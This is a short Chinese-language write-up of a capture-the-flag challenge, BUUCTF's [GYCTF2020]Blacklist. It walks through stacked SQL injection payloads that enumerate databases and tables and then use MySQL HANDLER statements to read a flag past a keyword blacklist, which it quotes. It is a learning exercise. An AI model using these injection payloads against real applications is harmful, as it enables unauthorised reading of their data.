buuctf [GYCTF2020]Blacklist
这道题又是一道学习的题目,打开看到界面ui很像一道堆叠注入的题目,刚好这道题也是用堆叠注入
查字段:1' order by 3#
error 1054 : Unknown column '3' in 'order clause'
只有两列
这道题过滤了
1 | return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject); |
不能用预编译 select 报错注入应该是
1 | 1'; show databases# |
“supersqli”
1 | 1'; show tables# |
“FlagHere”
1 | 1';show columns from FlagHere# |
直接用1';desc FlagHere#
也可以
string(4) “flag”
desc用法:
1.查表的详细信息 eg:desc table_name;
2.desc降序排列数据 eg: select select ename,sal from emp order by sal desc;
手动指定按照薪水由大到小排序(降序关键字desc)
然后这里用到了 mysql handler语句查询字段内的信息
这条语句使我们能够一行一行的浏览一个表中的数据
下面在本地搭了一个环境进行测试 如下:
之后就可以构造payload:
1 | 1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;# |
成功